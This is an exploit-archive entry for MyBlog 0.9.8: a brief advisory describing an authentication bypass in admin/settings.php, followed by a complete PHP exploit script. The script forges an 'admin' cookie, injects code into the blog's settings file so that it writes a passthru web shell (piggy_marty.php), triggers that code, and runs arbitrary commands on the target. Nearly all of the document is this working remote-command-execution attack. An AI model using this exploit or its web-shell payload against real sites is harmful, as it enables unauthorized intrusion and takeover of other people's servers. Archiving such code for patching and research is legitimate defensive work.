MyBlog 0.9.8 - 'Settings.php' Authentication Bypass

source: https://www.securityfocus.com/bid/23521/info

MyBlog is prone to an authentication-bypass vulnerability.

Attackers can exploit this issue to bypass the authentication mechanism and then access or overwrite files with arbitrary PHP script code. Script code added to certain files are later included for execution, allowing the attacker to exploit this issue to execute arbitrary PHP script code.

MyBlog 0.9.8 and prior versions are vulnerable to this issue. 

#!/usr/bin/php -q -d short_open_tag=on
<?
echo "
MyBlog <= 0.9.8 Remote Command Execution Exploit
by BlackHawk <hawkgotyou@gmail.com> <http://itablackhawk.altervista.org>
Thanks to rgod for the php code and Marty for the Love

";
if ($argc<3) {
echo "Usage: php ".$argv[0]." Host Path CMD
Host:          target server (ip/hostname)
Path:          path of myblog

Example:
php ".$argv[0]." localhost /myblog/ CMD";

die;
}
/*
The problem is in all admin files:

if(isset($_COOKIE['admin'])) {
$name = $_COOKIE['login'];
}
else {
echo "Please Login";
exit;
}

This easy to bypass function leads to a RCE because we can put PHP code in settings.inc,
that is required in many pages..

This exploit create a piggy_marty.php shell on the victim site

*/

error_reporting(0);
ini_set("max_execution_time",0);
ini_set("default_socket_timeout",5);

function quick_dump($string)
{
  $result='';$exa='';$cont=0;
  for ($i=0; $i<=strlen($string)-1; $i++)
  {
   if ((ord($string[$i]) <= 32 ) | (ord($string[$i]) > 126 ))
   {$result.="  .";}
   else
   {$result.="  ".$string[$i];}
   if (strlen(dechex(ord($string[$i])))==2)
   {$exa.=" ".dechex(ord($string[$i]));}
   else
   {$exa.=" 0".dechex(ord($string[$i]));}
   $cont++;if ($cont==15) {$cont=0; $result.="\r\n"; $exa.="\r\n";}
  }
 return $exa."\r\n".$result;
}
$proxy_regex = '(\b\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}\:\d{1,5}\b)';
function sendpacketii($packet)
{
  global $proxy, $host, $port, $html, $proxy_regex;
  if ($proxy=='') {
    $ock=fsockopen(gethostbyname($host),$port);
    if (!$ock) {
      echo 'No response from '.$host.':'.$port; die;
    }
  }
  else {
        $c = preg_match($proxy_regex,$proxy);
    if (!$c) {
      echo 'Not a valid proxy...';die;
    }
    $parts=explode(':',$proxy);
    echo "Connecting to ".$parts[0].":".$parts[1]." proxy...\r\n";
    $ock=fsockopen($parts[0],$parts[1]);
    if (!$ock) {
      echo 'No response from proxy...';die;
        }
  }
  fputs($ock,$packet);
  if ($proxy=='') {
    $html='';
    while (!feof($ock)) {
      $html.=fgets($ock);
    }
  }
  else {
    $html='';
    while ((!feof($ock)) or (!eregi(chr(0x0d).chr(0x0a).chr(0x0d).chr(0x0a),$html))) {
      $html.=fread($ock,1);
    }
  }
  fclose($ock);
}

$host=$argv[1];
$path=$argv[2];
$cmd="";
for ($i=3; $i<=$argc-1; $i++){
$cmd.=" ".$argv[$i];
}
$cmd=urlencode($cmd);


$port=80;
$proxy="";

if (($path[0]<>'/') or ($path[strlen($path)-1]<>'/')) {echo 'Error... check the path!'; die;}
if ($proxy=='') {$p=$path;} else {$p='http://'.$host.':'.$port.$path;}

echo "Step0 - See If piggy_marty.php already exists..\r\n";
$packet="GET ".$p."piggy_marty.php?cmd=$cmd HTTP/1.0\r\n";
$packet.="Host: ".$host."\r\n";
$packet.="Cookie: cmd=$cmd\r\n";
$packet.="Connection: Close\r\n\r\n";
sendpacketii($packet);
if (strstr($html,"666999"))
{
  echo "Exploit succeeded...\r\n";
  $temp=explode("666999",$html);
  die("\r\n".$temp[1]."\r\n");
}

echo "Step1 - Retrieving Configuration\r\n";
$packet="GET ".$p."admin/settings.php HTTP/1.0\r\n";
$packet.="Host: ".$host."\r\n";
$packet.="Cookie: admin=BlackHawk\r\n";
$packet.="Connection: Close\r\n\r\n";
sendpacketii($packet);
$temp=explode("<textarea name=\"content\" cols=\"80\" rows=\"20\">", $html);
$config_file=explode("&lt;/textarea&gt;<br /><input type=\"submit\" /></form>", $temp[1]);
$new_file = str_replace('?>', '
$fp=fopen(\'piggy_marty.php\',\'w\');
fputs($fp,\'<?php error_reporting(0);
set_time_limit(0);
if (get_magic_quotes_gpc()) {
$_GET[cmd]=stripslashes($_GET[cmd]);
}
echo 666999;
passthru($_GET[cmd]);
echo 666999;
?>\');
fclose($fp);
chmod(\'piggy_marty.php\',777);
?>', $config_file[0]);

echo "Step2 - Uploading New Data..\r\n";
$data="content=".urlencode($new_file);
$packet="POST ".$p."admin/settings.php HTTP/1.0\r\n";
$packet.="Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, * /*\r\n";
$packet.="Referer: http://".$host.$path."admin/settings.php\r\n";
$packet.="Accept-Language: it\r\n";
$packet.="Content-Type: application/x-www-form-urlencoded\r\n";
$packet.="Accept-Encoding: gzip, deflate\r\n";
$packet.="User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)\r\n";
$packet.="Host: ".$host."\r\n";
$packet.="Cookie: admin=BlackHawk\r\n";
$packet.="Content-Length: ".strlen($data)."\r\n";
$packet.="Connection: Close\r\n";
$packet.="Cache-Control: no-cache\r\n\r\n";
$packet.=$data;
sendpacketii($packet);

echo "Step3 - Executing Shell Maker\r\n";
$packet="GET ".$p."index.php HTTP/1.0\r\n";
$packet.="Host: ".$host."\r\n";
$packet.="Cookie: \r\n";
$packet.="Connection: Close\r\n\r\n";
sendpacketii($packet);
sleep(3);
echo "Step4 - Executing Shell..\r\n";
$packet="GET ".$p."piggy_marty.php?cmd=$cmd HTTP/1.0\r\n";
$packet.="Host: ".$host."\r\n";
$packet.="Cookie: cmd=$cmd\r\n";
$packet.="Connection: Close\r\n\r\n";
sendpacketii($packet);
if (strstr($html,"666999"))
{
  echo "Exploit succeeded...\r\n";
  $temp=explode("666999",$html);
  die("\r\n".$temp[1]."\r\n");
}

# Coded With BH Fast Generator v0.1
?>